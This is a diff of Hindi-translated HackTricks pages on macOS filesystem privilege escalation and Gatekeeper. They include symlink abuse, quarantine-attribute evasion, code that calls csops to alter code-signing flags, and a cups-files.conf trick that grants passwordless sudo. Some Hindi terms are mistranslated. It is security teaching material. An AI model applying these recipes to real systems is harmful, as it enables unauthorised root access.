या किसी भी उप-डायरेक्टरी में पहुँच नहीं सकते। ### Dangerous Combinations -**कैसे root द्वारा स्वामित्व वाली एक file/folder को overwrite करें**, लेकिन: +**कैसे एक फ़ाइल/फोल्डर को ओवरराइट करें जो रूट द्वारा स्वामित्व में है**, लेकिन: -- पथ में एक माता-पिता **directory owner** उपयोगकर्ता है -- पथ में एक माता-पिता **directory owner** एक **users group** है जिसमें **write access** है -- एक users **group** को **file** पर **write** access है +- पथ में एक माता-पिता **डायरेक्टरी का मालिक** उपयोगकर्ता है +- पथ में एक माता-पिता **डायरेक्टरी का मालिक** एक **उपयोगकर्ता समूह** है जिसमें **लिखने की पहुँच** है +- एक उपयोगकर्ता **समूह** के पास **फाइल** पर **लिखने** की पहुँच है -पिछले किसी भी संयोजन के साथ, एक हमलावर **inject** कर सकता है एक **sym/hard link** अपेक्षित पथ पर एक विशेषाधिकार प्राप्त मनमाना write प्राप्त करने के लिए। +पिछले संयोजनों में से किसी के साथ, एक हमलावर **संकेत** कर सकता है एक **संपर्क/हार्ड लिंक** अपेक्षित पथ पर एक विशेषाधिकार प्राप्त मनमाना लिखने के लिए। ### Folder root R+X Special case -यदि एक **directory** में files हैं जहाँ **केवल root को R+X access** है, तो वे **किसी और के लिए उपलब्ध नहीं हैं**। इसलिए एक भेद्यता जो **एक file को स्थानांतरित करने की अनुमति देती है जिसे एक उपयोगकर्ता द्वारा पढ़ा जा सकता है**, जिसे उस **restriction** के कारण नहीं पढ़ा जा सकता, इस folder से **किसी अन्य में**, इन files को पढ़ने के लिए दुरुपयोग किया जा सकता है। +यदि एक **डायरेक्टरी** में फ़ाइलें हैं जहाँ **केवल रूट के पास R+X पहुँच** है, तो वे **किसी और के लिए उपलब्ध नहीं हैं**। इसलिए एक भेद्यता जो **एक फ़ाइल को स्थानांतरित करने** की अनुमति देती है जिसे एक उपयोगकर्ता द्वारा पढ़ा जा सकता है, जिसे उस **प्रतिबंध** के कारण नहीं पढ़ा जा सकता, इस फ़ोल्डर से **किसी अन्य में**, इन फ़ाइलों को पढ़ने के लिए दुरुपयोग किया जा सकता है। Example in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) ## Symbolic Link / Hard Link -यदि एक विशेषाधिकार प्राप्त प्रक्रिया **file** में डेटा लिख रही है जिसे **lower privileged user** द्वारा **control** किया जा सकता है, या जिसे एक lower privileged user द्वारा **पहले बनाया गया** हो। उपयोगकर्ता बस इसे एक Symbolic या Hard link के माध्यम से **दूसरे file** की ओर **point** कर सकता है, और विशेषाधिकार प्राप्त प्रक्रिया उस file पर लिखेगी। +### Permissive file/folder -Check in the other sections where an attacker could **abuse an arbitrary write to escalate privileges**. +यदि एक विशेषाधिकार प्राप्त प्रक्रिया **फाइल** में डेटा लिख रही है जिसे **कम विशेषाधिकार प्राप्त उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे एक कम विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा **पहले बनाया गया** हो। उपयोगकर्ता बस इसे एक अन्य फ़ाइल की ओर **संकेत** कर सकता है एक प्रतीकात्मक या हार्ड लिंक के माध्यम से, और विशेषाधिकार प्राप्त प्रक्रिया उस फ़ाइल पर लिखेगी। + +चेक करें अन्य अनुभागों में जहाँ एक हमलावर **विशेषाधिकार बढ़ाने के लिए मनमाना लिखने का दुरुपयोग कर सकता है**। + +### Open `O_NOFOLLOW` + +फ्लैग `O_NOFOLLOW` जब `open` फ़ंक्शन द्वारा उपयोग किया जाता है तो अंतिम पथ घटक में एक सिम्लिंक का पालन नहीं करेगा, लेकिन यह पथ के बाकी हिस्से का पालन करेगा। पथ में सिम्लिंक्स का पालन करने से रोकने का सही तरीका फ्लैग `O_NOFOLLOW_ANY` का उपयोग करना है। ## .fileloc -**`.fileloc`** एक्सटेंशन वाली files अन्य applications या binaries की ओर इशारा कर सकती हैं ताकि जब उन्हें खोला जाए, तो application/binary वही होगा जो निष्पादित होगा।\ +**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य अनुप्रयोगों या बाइनरीज़ की ओर संकेत कर सकती हैं इसलिए जब वे खोली जाती हैं, तो अनुप्रयोग/बाइनरी वही होगी जो निष्पादित होगी।\ Example: ```xml @@ -50,21 +56,25 @@ Example: ``` -## मनमाने FD +## फ़ाइल वर्णनकर्ता -यदि आप एक **प्रक्रिया को उच्च विशेषाधिकारों के साथ एक फ़ाइल या फ़ोल्डर खोलने** के लिए मजबूर कर सकते हैं, तो आप **`crontab`** का दुरुपयोग करके `/etc/sudoers.d` में एक फ़ाइल खोलने के लिए **`EDITOR=exploit.py`** का उपयोग कर सकते हैं, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल का FD मिल सके और इसका दुरुपयोग कर सके। +### लीक FD (कोई `O_CLOEXEC` नहीं) -उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) +यदि `open` के लिए कॉल में `O_CLOEXEC` ध्वज नहीं है, तो फ़ाइल वर्णनकर्ता बच्चे की प्रक्रिया द्वारा विरासत में लिया जाएगा। इसलिए, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक विशेषाधिकार प्राप्त फ़ाइल खोलती है और हमलावर द्वारा नियंत्रित प्रक्रिया को निष्पादित करती है, तो हमलावर **विशेषाधिकार प्राप्त फ़ाइल पर FD विरासत में लेगा**। -## संगरोध xattrs ट्रिक्स से बचें +यदि आप **एक प्रक्रिया को उच्च विशेषाधिकार के साथ एक फ़ाइल या फ़ोल्डर खोलने** के लिए मजबूर कर सकते हैं, तो आप **`crontab`** का दुरुपयोग कर सकते हैं ताकि `/etc/sudoers.d` में **`EDITOR=exploit.py`** के साथ एक फ़ाइल खोली जा सके, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल का FD मिल सके और इसका दुरुपयोग कर सके। -### इसे हटाएं +उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), कोड: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging + +## संगरोध xattrs चालों से बचें + +### इसे हटा दें ```bash xattr -d com.apple.quarantine /path/to/file_or_app ``` ### uchg / uchange / uimmutable flag -यदि एक फ़ाइल/फ़ोल्डर में यह अपरिवर्तनीय विशेषता है, तो उस पर xattr डालना संभव नहीं होगा। +यदि किसी फ़ाइल/फ़ोल्डर में यह अपरिवर्तनीय विशेषता है, तो उस पर xattr डालना संभव नहीं होगा। ```bash echo asd > /tmp/asd chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd" @@ -87,7 +97,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol' ``` ### writeextattr ACL -यह ACL फ़ाइल में `xattrs` जोड़ने से रोकता है +यह ACL फ़ाइल में `xattrs` जोड़ने से रोकता है। ```bash rm -rf /tmp/test* echo test >/tmp/test @@ -112,11 +122,11 @@ ls -le /tmp/test **AppleDouble** फ़ाइल प्रारूप एक फ़ाइल को उसकी ACEs सहित कॉपी करता है। -[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, उसे डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था: +[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था: अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) की जांच करें। -इसे दोहराने के लिए, हमें पहले सही acl स्ट्रिंग प्राप्त करने की आवश्यकता है: +इसकी नकल करने के लिए, हमें पहले सही acl स्ट्रिंग प्राप्त करने की आवश्यकता है: ```bash # Everything will be happening here mkdir /tmp/temp_xattrs @@ -142,9 +152,30 @@ Not really needed but I leave it there just in case: macos-xattr-acls-extra-stuff.md {{#endref}} +## सिग्नेचर जांचों को बायपास करें + +### प्लेटफ़ॉर्म बाइनरी जांचों को बायपास करें + +कुछ सुरक्षा जांचें यह जांचती हैं कि बाइनरी एक **प्लेटफ़ॉर्म बाइनरी** है, उदाहरण के लिए, XPC सेवा से कनेक्ट करने की अनुमति देने के लिए। हालाँकि, जैसा कि https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ में एक बायपास में उजागर किया गया है, इस जांच को बायपास करना संभव है एक प्लेटफ़ॉर्म बाइनरी (जैसे /bin/ls) प्राप्त करके और `DYLD_INSERT_LIBRARIES` एन्व वेरिएबल का उपयोग करके dyld के माध्यम से एक्सप्लॉइट को इंजेक्ट करके। + +### फ्लैग्स `CS_REQUIRE_LV` और `CS_FORCED_LV` को बायपास करें + +यह संभव है कि एक निष्पादित बाइनरी अपने स्वयं के फ्लैग्स को संशोधित करे ताकि कोड के साथ जांचों को बायपास किया जा सके: +```c +// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ +int pid = getpid(); +NSString *exePath = NSProcessInfo.processInfo.arguments[0]; + +uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +status |= 0x2000; // CS_REQUIRE_LV +csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS + +status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); +``` ## कोड सिग्नेचर बायपास करें -Bundles में फ़ाइल **`_CodeSignature/CodeResources`** होती है जिसमें **bundle** में हर एक **file** का **hash** होता है। ध्यान दें कि CodeResources का hash भी **executables** में **embedded** होता है, इसलिए हम इसके साथ भी छेड़छाड़ नहीं कर सकते। +बंडल में फ़ाइल **`_CodeSignature/CodeResources`** होती है जिसमें **बंडल** में हर एक **फ़ाइल** का **हैश** होता है। ध्यान दें कि CodeResources का हैश भी **एक्ज़ीक्यूटेबल** में **एंबेडेड** होता है, इसलिए हम इसके साथ भी छेड़छाड़ नहीं कर सकते। हालांकि, कुछ फ़ाइलें हैं जिनके सिग्नेचर की जांच नहीं की जाएगी, इनमें plist में omit कुंजी होती है, जैसे: ```xml @@ -230,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg ### डेमन -एक मनमाना **LaunchDaemon** लिखें जैसे **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** जिसमें एक plist हो जो एक मनमानी स्क्रिप्ट निष्पादित करे जैसे: +एक मनमाना **LaunchDaemon** लिखें जैसे **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** जिसमें एक plist हो जो एक मनमानी स्क्रिप्ट को निष्पादित करे जैसे: ```xml @@ -259,9 +290,29 @@ hdiutil create -srcfolder justsome.app justsome.dmg आप नए फ़ोल्डरों को `PATH` env वेरिएबल में लोड करने के लिए **`/etc/paths.d`** में भी फ़ाइलें लिख सकते हैं। +### cups-files.conf + +यह तकनीक [इस लेख](https://www.kandji.io/blog/macos-audit-story-part1) में उपयोग की गई थी। + +फ़ाइल `/etc/cups/cups-files.conf` निम्नलिखित सामग्री के साथ बनाएं: +``` +ErrorLog /etc/sudoers.d/lpe +LogFilePerm 777 + +``` +यह `/etc/sudoers.d/lpe` फ़ाइल को 777 अनुमतियों के साथ बनाएगा। अंत में अतिरिक्त जंक त्रुटि लॉग निर्माण को ट्रिगर करने के लिए है। + +फिर, `/etc/sudoers.d/lpe` में आवश्यक कॉन्फ़िगरेशन लिखें ताकि विशेषाधिकार बढ़ाने के लिए `%staff ALL=(ALL) NOPASSWD:ALL` हो। + +फिर, फ़ाइल `/etc/cups/cups-files.conf` को फिर से संशोधित करें और `LogFilePerm 700` इंगित करें ताकि नया sudoers फ़ाइल मान्य हो सके `cupsctl` को कॉल करते समय। + +### सैंडबॉक्स Escape + +macOS सैंडबॉक्स से FS मनमाना लेखन के साथ भागना संभव है। कुछ उदाहरणों के लिए पृष्ठ [macOS Auto Start](../../../../macos-auto-start-locations.md) देखें लेकिन एक सामान्य उदाहरण यह है कि `~/Library/Preferences/com.apple.Terminal.plist` में एक टर्मिनल प्राथमिकताएँ फ़ाइल लिखें जो स्टार्टअप पर एक कमांड निष्पादित करती है और इसे `open` का उपयोग करके कॉल करें। + ## अन्य उपयोगकर्ताओं के रूप में लिखने योग्य फ़ाइलें उत्पन्न करें -यह एक फ़ाइल उत्पन्न करेगा जो रूट की है और जिसे मैं लिख सकता हूँ ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))। यह privesc के रूप में भी काम कर सकता है: +यह एक फ़ाइल उत्पन्न करेगा जो रूट की है और जिसे मैं लिख सकता हूँ ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))। यह प्रिवेस्क के रूप में भी काम कर सकता है: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -275,7 +326,7 @@ echo $FILENAME ``` ## POSIX साझा मेमोरी -**POSIX साझा मेमोरी** POSIX-अनुरूप ऑपरेटिंग सिस्टम में प्रक्रियाओं को एक सामान्य मेमोरी क्षेत्र तक पहुँचने की अनुमति देती है, जो अन्य अंतःप्रक्रिया संचार विधियों की तुलना में तेज़ संचार को सुविधाजनक बनाती है। इसमें `shm_open()` के साथ एक साझा मेमोरी ऑब्जेक्ट बनाना या खोलना, `ftruncate()` के साथ इसका आकार सेट करना, और इसे प्रक्रिया के पते के स्थान में `mmap()` का उपयोग करके मैप करना शामिल है। प्रक्रियाएँ फिर सीधे इस मेमोरी क्षेत्र से पढ़ और लिख सकती हैं। समवर्ती पहुँच को प्रबंधित करने और डेटा भ्रष्टाचार को रोकने के लिए, समन्वय तंत्र जैसे म्यूटेक्स या सेमाफोर का अक्सर उपयोग किया जाता है। अंततः, प्रक्रियाएँ `munmap()` और `close()` के साथ साझा मेमोरी को अनमैप और बंद करती हैं, और वैकल्पिक रूप से `shm_unlink()` के साथ मेमोरी ऑब्जेक्ट को हटा देती हैं। यह प्रणाली विशेष रूप से उन वातावरणों में कुशल, तेज IPC के लिए प्रभावी है जहाँ कई प्रक्रियाओं को साझा डेटा तक तेजी से पहुँचने की आवश्यकता होती है। +**POSIX साझा मेमोरी** POSIX-अनुरूप ऑपरेटिंग सिस्टम में प्रक्रियाओं को एक सामान्य मेमोरी क्षेत्र तक पहुँचने की अनुमति देती है, जो अन्य इंटर-प्रोसेस संचार विधियों की तुलना में तेज़ संचार को सुविधाजनक बनाती है। इसमें `shm_open()` के साथ एक साझा मेमोरी ऑब्जेक्ट बनाना या खोलना, `ftruncate()` के साथ इसका आकार सेट करना, और `mmap()` का उपयोग करके इसे प्रक्रिया के पते के स्थान में मैप करना शामिल है। प्रक्रियाएँ फिर सीधे इस मेमोरी क्षेत्र से पढ़ और लिख सकती हैं। समवर्ती पहुँच को प्रबंधित करने और डेटा भ्रष्टाचार को रोकने के लिए, समन्वय तंत्र जैसे म्यूटेक्स या सेमाफोर का अक्सर उपयोग किया जाता है। अंततः, प्रक्रियाएँ `munmap()` और `close()` के साथ साझा मेमोरी को अनमैप और बंद करती हैं, और वैकल्पिक रूप से `shm_unlink()` के साथ मेमोरी ऑब्जेक्ट को हटा देती हैं। यह प्रणाली विशेष रूप से उन वातावरणों में कुशल, तेज IPC के लिए प्रभावी है जहाँ कई प्रक्रियाओं को साझा डेटा तक तेजी से पहुँचने की आवश्यकता होती है।
@@ -373,7 +424,7 @@ return 0; **macOS संरक्षित वर्णनकर्ता** एक सुरक्षा विशेषता है जो macOS में उपयोगकर्ता अनुप्रयोगों में **फाइल वर्णनकर्ता संचालन** की सुरक्षा और विश्वसनीयता को बढ़ाने के लिए पेश की गई है। ये संरक्षित वर्णनकर्ता फाइल वर्णनकर्ताओं के साथ विशिष्ट प्रतिबंधों या "गार्ड" को जोड़ने का एक तरीका प्रदान करते हैं, जिन्हें कर्नेल द्वारा लागू किया जाता है। -यह विशेषता **अनधिकृत फाइल पहुंच** या **रेस कंडीशंस** जैसी सुरक्षा कमजोरियों की कुछ श्रेणियों को रोकने के लिए विशेष रूप से उपयोगी है। ये कमजोरियाँ तब होती हैं जब, उदाहरण के लिए, एक थ्रेड एक फाइल विवरण तक पहुँच रहा है जिससे **दूसरे कमजोर थ्रेड को उस पर पहुँच मिलती है** या जब एक फाइल वर्णनकर्ता एक कमजोर बाल प्रक्रिया द्वारा **विरासत में ली जाती है**। इस कार्यक्षमता से संबंधित कुछ कार्य हैं: +यह विशेषता **अनधिकृत फाइल पहुंच** या **रेस कंडीशंस** जैसी सुरक्षा कमजोरियों की कुछ श्रेणियों को रोकने के लिए विशेष रूप से उपयोगी है। ये कमजोरियाँ तब होती हैं जब उदाहरण के लिए एक थ्रेड एक फाइल विवरण तक पहुँच रहा है जिससे **दूसरे कमजोर थ्रेड को उस पर पहुँच मिलती है** या जब एक फाइल वर्णनकर्ता एक कमजोर बाल प्रक्रिया द्वारा **विरासत में ली जाती है**। इस कार्यक्षमता से संबंधित कुछ कार्य हैं: - `guarded_open_np`: एक गार्ड के साथ FD खोलें - `guarded_close_np`: इसे बंद करें diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index 6269886b5..522d1ab47 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,35 +2,31 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Gatekeeper -**Gatekeeper** एक सुरक्षा विशेषता है जो Mac ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता **केवल विश्वसनीय सॉफ़्टवेयर** अपने सिस्टम पर चलाएँ। यह **सॉफ़्टवेयर को मान्य करके** कार्य करता है जो उपयोगकर्ता डाउनलोड करता है और **App Store के बाहर के स्रोतों** से खोलने का प्रयास करता है, जैसे कि एक ऐप, एक प्लग-इन, या एक इंस्टॉलर पैकेज। +**Gatekeeper** एक सुरक्षा विशेषता है जो Mac ऑपरेटिंग सिस्टम के लिए विकसित की गई है, जिसका उद्देश्य यह सुनिश्चित करना है कि उपयोगकर्ता अपने सिस्टम पर **केवल विश्वसनीय सॉफ़्टवेयर** चलाएँ। यह **सॉफ़्टवेयर को मान्य करके** कार्य करता है जो उपयोगकर्ता डाउनलोड करता है और **App Store के बाहर के स्रोतों** से खोलने का प्रयास करता है, जैसे कि एक ऐप, एक प्लग-इन, या एक इंस्टॉलर पैकेज। -Gatekeeper का मुख्य तंत्र इसके **सत्यापन** प्रक्रिया में निहित है। यह जांचता है कि डाउनलोड किया गया सॉफ़्टवेयर **एक मान्यता प्राप्त डेवलपर द्वारा हस्ताक्षरित** है, जो सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करता है। इसके अलावा, यह यह सुनिश्चित करता है कि सॉफ़्टवेयर **Apple द्वारा नोटरीकृत** है, यह पुष्टि करते हुए कि यह ज्ञात दुर्भावनापूर्ण सामग्री से मुक्त है और नोटरीकरण के बाद इसमें छेड़छाड़ नहीं की गई है। +Gatekeeper का मुख्य तंत्र इसके **सत्यापन** प्रक्रिया में निहित है। यह जांचता है कि क्या डाउनलोड किया गया सॉफ़्टवेयर **एक मान्यता प्राप्त डेवलपर द्वारा हस्ताक्षरित** है, जो सॉफ़्टवेयर की प्रामाणिकता सुनिश्चित करता है। इसके अलावा, यह यह सुनिश्चित करता है कि सॉफ़्टवेयर **Apple द्वारा नोटराइज किया गया है**, यह पुष्टि करते हुए कि यह ज्ञात दुर्भावनापूर्ण सामग्री से मुक्त है और नोटराइजेशन के बाद इसमें छेड़छाड़ नहीं की गई है। इसके अतिरिक्त, Gatekeeper उपयोगकर्ता नियंत्रण और सुरक्षा को **पहली बार डाउनलोड किए गए सॉफ़्टवेयर को खोलने के लिए उपयोगकर्ताओं से अनुमोदन प्राप्त करके** मजबूत करता है। यह सुरक्षा उपाय उपयोगकर्ताओं को संभावित हानिकारक निष्पादन योग्य कोड को अनजाने में चलाने से रोकने में मदद करता है, जिसे वे एक हानिरहित डेटा फ़ाइल समझ सकते हैं। ### Application Signatures -Application signatures, जिन्हें कोड हस्ताक्षर भी कहा जाता है, Apple की सुरक्षा अवसंरचना का एक महत्वपूर्ण घटक हैं। इन्हें **सॉफ़्टवेयर लेखक की पहचान की पुष्टि करने** और यह सुनिश्चित करने के लिए उपयोग किया जाता है कि कोड को अंतिम बार हस्ताक्षरित किए जाने के बाद से इसमें छेड़छाड़ नहीं की गई है। +Application signatures, जिन्हें कोड हस्ताक्षर भी कहा जाता है, Apple की सुरक्षा अवसंरचना का एक महत्वपूर्ण घटक हैं। इन्हें **सॉफ़्टवेयर लेखक** (डेवलपर) की पहचान को **सत्यापित करने** और यह सुनिश्चित करने के लिए उपयोग किया जाता है कि कोड को अंतिम बार हस्ताक्षरित किए जाने के बाद से इसमें छेड़छाड़ नहीं की गई है। यहाँ यह कैसे काम करता है: 1. **एप्लिकेशन पर हस्ताक्षर करना:** जब एक डेवलपर अपने एप्लिकेशन को वितरित करने के लिए तैयार होता है, तो वे **एक निजी कुंजी का उपयोग करके एप्लिकेशन पर हस्ताक्षर करते हैं**। यह निजी कुंजी एक **प्रमाणपत्र से जुड़ी होती है जो Apple डेवलपर प्रोग्राम में नामांकित होने पर डेवलपर को जारी की जाती है**। हस्ताक्षर प्रक्रिया में ऐप के सभी भागों का एक क्रिप्टोग्राफिक हैश बनाना और इस हैश को डेवलपर की निजी कुंजी के साथ एन्क्रिप्ट करना शामिल है। 2. **एप्लिकेशन का वितरण:** हस्ताक्षरित एप्लिकेशन फिर उपयोगकर्ताओं को डेवलपर के प्रमाणपत्र के साथ वितरित किया जाता है, जिसमें संबंधित सार्वजनिक कुंजी होती है। -3. **एप्लिकेशन का सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन डाउनलोड करता है और इसे चलाने का प्रयास करता है, तो उनका Mac ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से सार्वजनिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह एप्लिकेशन की वर्तमान स्थिति के आधार पर हैश की पुनः गणना करता है और इसे डिक्रिप्टेड हैश के साथ तुलना करता है। यदि वे मेल खाते हैं, तो इसका मतलब है कि **एप्लिकेशन में डेवलपर द्वारा हस्ताक्षरित किए जाने के बाद से कोई परिवर्तन नहीं किया गया है**, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है। +3. **एप्लिकेशन का सत्यापन:** जब एक उपयोगकर्ता एप्लिकेशन डाउनलोड करता है और इसे चलाने का प्रयास करता है, तो उनका Mac ऑपरेटिंग सिस्टम डेवलपर के प्रमाणपत्र से सार्वजनिक कुंजी का उपयोग करके हैश को डिक्रिप्ट करता है। फिर यह एप्लिकेशन की वर्तमान स्थिति के आधार पर हैश की पुनः गणना करता है और इसे डिक्रिप्टेड हैश के साथ तुलना करता है। यदि वे मेल खाते हैं, तो इसका मतलब है कि **एप्लिकेशन में संशोधन नहीं किया गया है** जब से डेवलपर ने इसे हस्ताक्षरित किया था, और सिस्टम एप्लिकेशन को चलाने की अनुमति देता है। -Application signatures Apple की Gatekeeper तकनीक का एक आवश्यक हिस्सा हैं। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो Gatekeeper एप्लिकेशन हस्ताक्षर की पुष्टि करता है। यदि यह Apple द्वारा एक ज्ञात डेवलपर को जारी किए गए प्रमाणपत्र के साथ हस्ताक्षरित है और कोड में छेड़छाड़ नहीं की गई है, तो Gatekeeper एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक करता है और उपयोगकर्ता को सूचित करता है। +Application signatures Apple की Gatekeeper तकनीक का एक आवश्यक हिस्सा हैं। जब एक उपयोगकर्ता **इंटरनेट से डाउनलोड किए गए एप्लिकेशन को खोलने का प्रयास करता है**, तो Gatekeeper एप्लिकेशन हस्ताक्षर को सत्यापित करता है। यदि यह Apple द्वारा एक ज्ञात डेवलपर को जारी किए गए प्रमाणपत्र के साथ हस्ताक्षरित है और कोड में छेड़छाड़ नहीं की गई है, तो Gatekeeper एप्लिकेशन को चलाने की अनुमति देता है। अन्यथा, यह एप्लिकेशन को ब्लॉक कर देता है और उपयोगकर्ता को सूचित करता है। -macOS Catalina से शुरू होकर, **Gatekeeper यह भी जांचता है कि एप्लिकेशन को Apple द्वारा नोटरीकृत किया गया है** या नहीं, जो सुरक्षा की एक अतिरिक्त परत जोड़ता है। नोटरीकरण प्रक्रिया एप्लिकेशन की ज्ञात सुरक्षा समस्याओं और दुर्भावनापूर्ण कोड की जांच करती है, और यदि ये जांच पास होती हैं, तो Apple एप्लिकेशन में एक टिकट जोड़ता है जिसे Gatekeeper सत्यापित कर सकता है। +macOS Catalina से शुरू होकर, **Gatekeeper यह भी जांचता है कि क्या एप्लिकेशन को Apple द्वारा नोटराइज किया गया है**, जो सुरक्षा की एक अतिरिक्त परत जोड़ता है। नोटराइजेशन प्रक्रिया एप्लिकेशन की ज्ञात सुरक्षा समस्याओं और दुर्भावनापूर्ण कोड की जांच करती है, और यदि ये जांच पास होती हैं, तो Apple एप्लिकेशन में एक टिकट जोड़ता है जिसे Gatekeeper सत्यापित कर सकता है। #### Check Signatures -जब कुछ **malware sample** की जांच करते हैं, तो आपको हमेशा **signature** की जांच करनी चाहिए क्योंकि **developer** जिसने इसे हस्ताक्षरित किया है, वह पहले से ही **malware** से **related** हो सकता है। +जब कुछ **malware sample** की जांच करते हैं, तो आपको हमेशा **signature** की जांच करनी चाहिए क्योंकि **developer** जिसने इसे हस्ताक्षरित किया है, वह पहले से ही **malware** से **संबंधित** हो सकता है। ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -51,7 +47,7 @@ codesign -s toolsdemo Apple की नोटरीकरण प्रक्रिया उपयोगकर्ताओं को संभावित हानिकारक सॉफ़्टवेयर से बचाने के लिए एक अतिरिक्त सुरक्षा उपाय के रूप में कार्य करती है। इसमें **डेवलपर द्वारा उनके आवेदन को Apple's Notary Service** द्वारा परीक्षा के लिए प्रस्तुत करना शामिल है, जिसे App Review के साथ भ्रमित नहीं किया जाना चाहिए। यह सेवा एक **स्वचालित प्रणाली** है जो प्रस्तुत सॉफ़्टवेयर की जांच करती है कि उसमें **हानिकारक सामग्री** और कोड-हस्ताक्षर के साथ कोई संभावित समस्याएँ हैं या नहीं। -यदि सॉफ़्टवेयर इस निरीक्षण को बिना किसी चिंता के पास कर लेता है, तो Notary Service एक नोटरीकरण टिकट उत्पन्न करती है। डेवलपर को फिर **इस टिकट को अपने सॉफ़्टवेयर से संलग्न करना** आवश्यक है, जिसे 'स्टेपलिंग' के रूप में जाना जाता है। इसके अलावा, नोटरीकरण टिकट को ऑनलाइन भी प्रकाशित किया जाता है जहाँ Gatekeeper, Apple की सुरक्षा तकनीक, इसे एक्सेस कर सकती है। +यदि सॉफ़्टवेयर इस निरीक्षण को बिना किसी चिंता के पास कर लेता है, तो Notary Service एक नोटरीकरण टिकट उत्पन्न करती है। डेवलपर को फिर **इस टिकट को अपने सॉफ़्टवेयर से संलग्न करना आवश्यक है**, जिसे 'स्टेपलिंग' के रूप में जाना जाता है। इसके अलावा, नोटरीकरण टिकट को ऑनलाइन भी प्रकाशित किया जाता है जहाँ Gatekeeper, Apple की सुरक्षा तकनीक, इसे एक्सेस कर सकती है। उपयोगकर्ता द्वारा सॉफ़्टवेयर की पहली स्थापना या निष्पादन पर, नोटरीकरण टिकट की उपस्थिति - चाहे वह निष्पादन योग्य के साथ स्टेपल किया गया हो या ऑनलाइन पाया गया हो - **Gatekeeper को सूचित करती है कि सॉफ़्टवेयर को Apple द्वारा नोटरीकरण किया गया है**। परिणामस्वरूप, Gatekeeper प्रारंभिक लॉन्च संवाद में एक वर्णनात्मक संदेश प्रदर्शित करता है, जो यह दर्शाता है कि सॉफ़्टवेयर को Apple द्वारा हानिकारक सामग्री के लिए जांचा गया है। यह प्रक्रिया उपयोगकर्ताओं के लिए उस सॉफ़्टवेयर की सुरक्षा में विश्वास को बढ़ाती है जिसे वे अपने सिस्टम पर स्थापित या चलाते हैं। @@ -60,7 +56,7 @@ Apple की नोटरीकरण प्रक्रिया उपयो > [!CAUTION] > ध्यान दें कि Sequoia संस्करण से, **`spctl`** अब Gatekeeper कॉन्फ़िगरेशन को संशोधित करने की अनुमति नहीं देता। -**`spctl`** CLI 